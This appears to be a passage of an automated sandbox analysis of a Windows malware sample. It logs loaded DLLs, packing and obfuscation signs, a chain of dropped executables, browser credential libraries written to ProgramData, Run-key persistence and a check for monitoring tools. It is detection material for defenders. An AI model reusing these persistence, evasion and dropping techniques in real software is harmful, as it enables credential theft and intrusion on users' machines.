Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Section loaded: sspicli.dll

Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2968064 > 1048576

Source: file.exe

Static PE information: Raw size of ypeyhkal is bigger than: 0x100000 < 0x2ab400

Source:	Binary string: mozglue.pdbP source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499679717.000000006F8DD000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: nss3.pdb@ source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499170679.000000006C7BF000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: nss3.pdb source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499170679.000000006C7BF000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: DIKGVVY9JNEBJRBXL.exe, 00000006.00000003.2256599403.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, DIKGVVY9JNEBJRBXL.exe, 00000006.00000002.2390709410.00000000007A2000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: mozglue.pdb source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499679717.000000006F8DD000.00000002.00000001.01000000.0000000F.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Unpacked PE file: 3.2.RIHOEX26J337XMDAUSF1C246W.exe.ce0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tsfqqygy:EW;iefnfdxn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tsfqqygy:EW;iefnfdxn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Unpacked PE file: 4.2.7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.530000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xisdcata:EW;bazuxvkp:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xisdcata:EW;bazuxvkp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.250000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tsfqqygy:EW;iefnfdxn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tsfqqygy:EW;iefnfdxn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Unpacked PE file: 6.2.DIKGVVY9JNEBJRBXL.exe.7a0000.0.unpack :EW;.rsrc:W;.idata :W;gksvkmzy:EW;jigislne:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 7.2.skotes.exe.250000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tsfqqygy:EW;iefnfdxn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tsfqqygy:EW;iefnfdxn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Unpacked PE file: 11.2.2ffb915ad7.exe.270000.0.unpack :EW;.rsrc :W;.idata :W;ypeyhkal:EW;mdebqzzf:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;ypeyhkal:EW;mdebqzzf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Unpacked PE file: 31.2.2ffb915ad7.exe.270000.0.unpack :EW;.rsrc :W;.idata :W;ypeyhkal:EW;mdebqzzf:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;ypeyhkal:EW;mdebqzzf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Unpacked PE file: 35.2.VU8MX8J5A37EO7MMQ3BQL.exe.530000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tsfqqygy:EW;iefnfdxn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tsfqqygy:EW;iefnfdxn:EW;.taggant:EW;

Entry point lies outside standard sections

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

PE file contains an invalid checksum

Source: num.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: random[1].exe.10.dr	Static PE information: real checksum: 0x2d5f1a should be: 0x2d64ce
Source: 2ffb915ad7.exe.10.dr	Static PE information: real checksum: 0x2d5f1a should be: 0x2d64ce
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: real checksum: 0x1c5de1 should be: 0x1c6936
Source: D9O67IRBWGRZW0D1WOATN0GX8KUC.exe.12.dr	Static PE information: real checksum: 0x2a784a should be: 0x2a7106
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: real checksum: 0x1c5de1 should be: 0x1c6936
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: real checksum: 0x1d938e should be: 0x1d90af
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: real checksum: 0x1d938e should be: 0x1d90af
Source: random[1].exe0.10.dr	Static PE information: real checksum: 0x1c5de1 should be: 0x1c6936
Source: DIKGVVY9JNEBJRBXL.exe.0.dr	Static PE information: real checksum: 0x2a784a should be: 0x2a7106
Source: file.exe	Static PE information: real checksum: 0x2d5f1a should be: 0x2d64ce
Source: skotes.exe.3.dr	Static PE information: real checksum: 0x1d938e should be: 0x1d90af
Source: num[1].exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a

PE file contains sections with non-standard names

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: ypeyhkal
Source: file.exe	Static PE information: section name: mdebqzzf
Source: file.exe	Static PE information: section name: .taggant
Source: DIKGVVY9JNEBJRBXL.exe.0.dr	Static PE information: section name:
Source: DIKGVVY9JNEBJRBXL.exe.0.dr	Static PE information: section name: .idata
Source: DIKGVVY9JNEBJRBXL.exe.0.dr	Static PE information: section name: gksvkmzy
Source: DIKGVVY9JNEBJRBXL.exe.0.dr	Static PE information: section name: jigislne
Source: DIKGVVY9JNEBJRBXL.exe.0.dr	Static PE information: section name: .taggant
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: section name:
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: section name: .idata
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: section name:
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: section name: tsfqqygy
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: section name: iefnfdxn
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: section name: .taggant
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name:
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name: .rsrc
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name: .idata
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name:
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name: xisdcata
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name: bazuxvkp
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: tsfqqygy
Source: skotes.exe.3.dr	Static PE information: section name: iefnfdxn
Source: skotes.exe.3.dr	Static PE information: section name: .taggant
Source: freebl3.dll.4.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.4.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.4.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.4.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.4.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.4.dr	Static PE information: section name: .didat
Source: nss3.dll.4.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.4.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.4.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.4.dr	Static PE information: section name: .00cfg
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name: .rsrc
Source: random[1].exe.10.dr	Static PE information: section name: .idata
Source: random[1].exe.10.dr	Static PE information: section name: ypeyhkal
Source: random[1].exe.10.dr	Static PE information: section name: mdebqzzf
Source: random[1].exe.10.dr	Static PE information: section name: .taggant
Source: 2ffb915ad7.exe.10.dr	Static PE information: section name:
Source: 2ffb915ad7.exe.10.dr	Static PE information: section name: .rsrc
Source: 2ffb915ad7.exe.10.dr	Static PE information: section name: .idata
Source: 2ffb915ad7.exe.10.dr	Static PE information: section name: ypeyhkal
Source: 2ffb915ad7.exe.10.dr	Static PE information: section name: mdebqzzf
Source: 2ffb915ad7.exe.10.dr	Static PE information: section name: .taggant
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: random[1].exe0.10.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.10.dr	Static PE information: section name: .idata
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: random[1].exe0.10.dr	Static PE information: section name: xisdcata
Source: random[1].exe0.10.dr	Static PE information: section name: bazuxvkp
Source: random[1].exe0.10.dr	Static PE information: section name: .taggant
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: section name:
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: section name: .idata
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: section name:
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: section name: tsfqqygy
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: section name: iefnfdxn
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: section name: .taggant
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name:
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name: .rsrc
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name: .idata
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name:
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name: xisdcata
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name: bazuxvkp
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name: .taggant
Source: D9O67IRBWGRZW0D1WOATN0GX8KUC.exe.12.dr	Static PE information: section name:
Source: D9O67IRBWGRZW0D1WOATN0GX8KUC.exe.12.dr	Static PE information: section name: .idata
Source: D9O67IRBWGRZW0D1WOATN0GX8KUC.exe.12.dr	Static PE information: section name: gksvkmzy
Source: D9O67IRBWGRZW0D1WOATN0GX8KUC.exe.12.dr	Static PE information: section name: jigislne
Source: D9O67IRBWGRZW0D1WOATN0GX8KUC.exe.12.dr	Static PE information: section name: .taggant

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011BBA50 push esp; iretd	0_3_011BBA9A

Source: file.exe	Static PE information: section name: entropy: 7.9801735874847255
Source: DIKGVVY9JNEBJRBXL.exe.0.dr	Static PE information: section name: entropy: 7.799691627355849
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: section name: entropy: 7.981605222870138
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: section name: tsfqqygy entropy: 7.953852886214849
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.0.dr	Static PE information: section name: xisdcata entropy: 7.953663128653993
Source: skotes.exe.3.dr	Static PE information: section name: entropy: 7.981605222870138
Source: skotes.exe.3.dr	Static PE information: section name: tsfqqygy entropy: 7.953852886214849
Source: random[1].exe.10.dr	Static PE information: section name: entropy: 7.9801735874847255
Source: 2ffb915ad7.exe.10.dr	Static PE information: section name: entropy: 7.9801735874847255
Source: random[1].exe0.10.dr	Static PE information: section name: xisdcata entropy: 7.953663128653993
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: section name: entropy: 7.981605222870138
Source: VU8MX8J5A37EO7MMQ3BQL.exe.12.dr	Static PE information: section name: tsfqqygy entropy: 7.953852886214849
Source: KOVSL46NUOT22BPKOXPHV6NAC5.exe.12.dr	Static PE information: section name: xisdcata entropy: 7.953663128653993
Source: D9O67IRBWGRZW0D1WOATN0GX8KUC.exe.12.dr	Static PE information: section name: entropy: 7.799691627355849

Drops PE files

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File created: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File created: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File created: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Jump to dropped file

Drops PE files to the application program directory (C:\ProgramData)

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2ffb915ad7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3cfbb3a6fb.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
